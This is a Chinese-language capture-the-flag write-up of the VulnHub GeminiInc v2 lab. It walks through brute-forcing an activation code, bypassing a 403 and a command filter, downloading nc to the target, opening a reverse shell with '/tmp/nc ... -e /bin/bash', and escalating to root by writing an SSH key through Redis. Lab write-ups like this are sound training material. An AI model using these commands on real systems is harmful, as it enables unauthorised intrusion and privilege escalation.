码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • vulnhub之GeminiInc v2


    目录

    一、主机发现

    二、端口扫描

    三、服务版本探测

    四、dirb目录文件爆破

    1.目录探测

    2.php文件探测

    五、信息收集

    六、registration.php

    七、登录后的信息收集

    八、burp爆破激活码

    1.抓包加入position

    2.pitchfork

    3.payload

    (1)paylaod1

    (2)paylaod2

    4.重新登录

    九、登录后信息收集

    十、登录

    十一、403 by pass绕过

    1.下载by pass

    2.修改project object

    3.修改socope范围

    4.修改target

     2.重新访问

    十二、WAF命令执行

     十三、上传nc和反弹shell

    十四、提权

    十五、上传私钥

    十六、redis

    1.密码登录

    2.转化为redis可以存储格式

    3.设置key:value保存到库中

    4.修改路径,数据库文件名

    十七、ssh登录root


    一、主机发现

    sudo netdiscover -r 192.168.43.27/16

    二、端口扫描

    三、服务版本探测

    四、dirb目录文件爆破

    1.目录探测

    由于我们在主页面没有发现对突破边界有用的信息,所以为了收集更多信息,进行目录爆破

    -r参数的意思是不要进行递归的爬取,仅进行一级目录爬取,不对其已存在目录下的子目进行爬取

    dir url -r

    (1)当我们对这些站点挨个进行信息收集,css,img,js这种没有注释泄露有用信息的话,对我们帮助不大,

    (2)这里面对我们帮助最大的就是inc,里面有些配置文件,但是访问的话显示空白。

    (3)在刚开始信息收集时,我们看到一个PHPSESSION,证明这个站点是用php搭建的

    2.php文件探测

    dirb http://192.168.29.137/ -r -X .php

    对这些探测出来的文件进行挨个访问,信息收集。

    五、信息收集

    1.activate.php  激活界面

    2.export.php

    这是在上个靶机中出现过的一个文件,用来html to pdf的,这里我们还未找到入口,暂时无法利用

     3.footer header

    这种文件在网站开发的构建中,就是个页脚页头文件,这里对我们没什么用。

    4.registration.php

    按照步骤,注册一个账号

    5.user.php profile.php

    无法访问。前面也学到了,如果403拒绝访问的话,我们可以通过更改主机头等方式绕过。

    六、registration.php

    1.注册

    输入和上个靶机相似的账号用户名email后显示发生了错误,再次尝试。

    2.再次尝试

    显示已经存在,看来数据已经到数据库中了,上边那条信息在误导、

     3.尝试去登录页面登录

    七、登录后的信息收集

     1.activate

    有一条我们未激活的信息,很明显,在我们之前发现的文件中进行激活。要求一个id和六位激活码。id我们可以在探测登录后功能时在profile中的url里看出是14

    八、burp爆破激活码

    1.抓包加入position

    因为这里是有token验证,我的理解是对于我们每一次请求,服务器都响应一个新的token值,下次我们要带着这个token来发起请求。

    2.pitchfork

    鱼叉模式,两个字典一对一爆破

    3.payload

    (1)paylaod1

    (2)paylaod2

    ①grep extract

    提取回包里的token

    ②Recursive grep

    ③线程

    线程改为1,失败请求次数改为0

    ④开始攻击

    返回了一个302状态码,估计是激活成功

    4.重新登录

    发现已经激活了,这界面和我们上次打靶的靶机有点像,。

    九、登录后信息收集

    1.源码中有这个一个hash值。

    2.验证

    通过对比,我们可以知道这就是sha1算法

    3.hash-sha1解密

     网站:md5hashing.net

     十、登录

    1.页面分析

    应该是个管理员账号,登录后多了个功能

    2.功能分析

    有两个功能,一个大致设置,一个命令执行,但是不能访问,403了

    十一、403 by pass绕过

    1.下载by pass

    2.修改project object

     

    3.修改socope范围

    4.修改target

     将站点加入scope

     2.重新访问

    成功加载

    十二、WAF命令执行

     1.执行id

    2.执行ls -a

     报错了,显示不合法字符,经过排查发现是这里不能输入空格

    3.tab键绕过

    %09

    用burp抓包改成tab键的url编码后执行成功

     十三、上传nc和反弹shell

    1.上传nc

    由于目标主机没有nc,所以说给他上传一个nc

    kali端找到nc所在文件夹。用python开启http服务

    目标端:

    wget http://192.168.29.129/nc -O /tmp/nc

    chmod +x somefile 和 chmod a+x somefile 是一样的

    chmod +x /tmp/nc

     2.反弹shell

    (1)测试连接,是否上传成功,成功后进行反弹shell的操作

    /tmp/nc ip port

    (2)执行

    /tmp/nc 192.168.29.129 1234 -e /bin/bash

    3.升级一下shell

    这里面就是过滤命令执行的一些规则

    十四、提权

    内核,suid文件,缓冲区溢出,sudo配置均不成功

    1.查看网络状态

    netstat -ano

    2.查看redis进程

    他的属主是root,如果它存在漏洞的话,我们可以利用redis反弹shell。

    ps aux | grep redis

    3./etc/redis

    在这里我们发现密码

    十五、上传私钥

    1.侦听

    /tmp/nc -nvlp 4444 > ./authorized_keys

    2.kali端生成公私钥

    ssh-keygen

    3.上传

    nc ip 4444 < ./id_rsa -w 1

    4.ssh登录

    拿到一个权限较高,输出连接稳定的shell,有利于我们之后向redis数据库中写入公钥实现提权。

    十六、redis

    1.密码登录

    redis-cli -a 8a7b86a2cd89d96dfcc125ebcc0535e6

    执行info可以正常执行

    2.转化为redis可以存储格式

    (echo -e "\n\n";cat authorized_keys;echo -e "\n\n") > pub.txt

    3.设置key:value保存到库中

    cat pub.txt | redis-cli -a 8a7b86a2cd89d96dfcc125ebcc0535e6 -x set ssh

    4.修改路径,数据库文件名

    redis-cli -a 8a7b86a2cd89d96dfcc125ebcc0535e6

     save

    exit

    十七、ssh登录root

    操作无误的话,应该可以直接登录,打靶完成

     

  • 相关阅读:
    cefsharp 最新稳定版104.4.240 (chromium-104.0.5112.102)
    企业电子招投标采购系统——功能模块&功能描述+数字化采购管理 采购招投标
    如何使用OpenCV作图像或矩阵的逻辑运算
    你的知识库能提高工作效率的7个原因
    Ubuntu 支持小米四足机器人“铁蛋”;GitHub 首席运营官离职;JetBrains 为 Kotlin 推出跨平台 UI 框架 | 开源日报
    机械制造基础——加工方法
    ​cannot import name ‘container_abcs’ from ‘torch._six’​
    Vue 先初始化父组件再初始化子组件的方法(自定义父子组件mounted执行顺序)
    【Pytorch报错】RuntimeError: cuDNN error: CUDNN_STATUS_INTERNAL_ERROR
    Web安全(文件上传的漏洞)
  • 原文地址:https://blog.csdn.net/weixin_54431413/article/details/125481487
  • 最新文章
  • 沪漂五周年了:我越来越迷茫了
    Agentic Skill Routing 实战:别再把所有 Skill 塞进 AI Agent 上下文
    MySQL-Seconds_behind_master的精度误差
    [MAF预定义ChatClient中间件-03]CachingChatClient——利用缓存省钱省时间
    AI的至暗历史:从万众期待到被政府撤资,AI的两次死亡徘徊
    Agent OS :五种驯服不确定性的范式
    PortSwigger SQL注入LAB11
    数据库即时编译JIT
    [Begin]AI Learn Data Day 0
    深度学习进阶(二十七)现代 LLM 的核心架构设计其二:SwiGLU
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
小工具 小游戏
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1

京公网安备 11010502049817号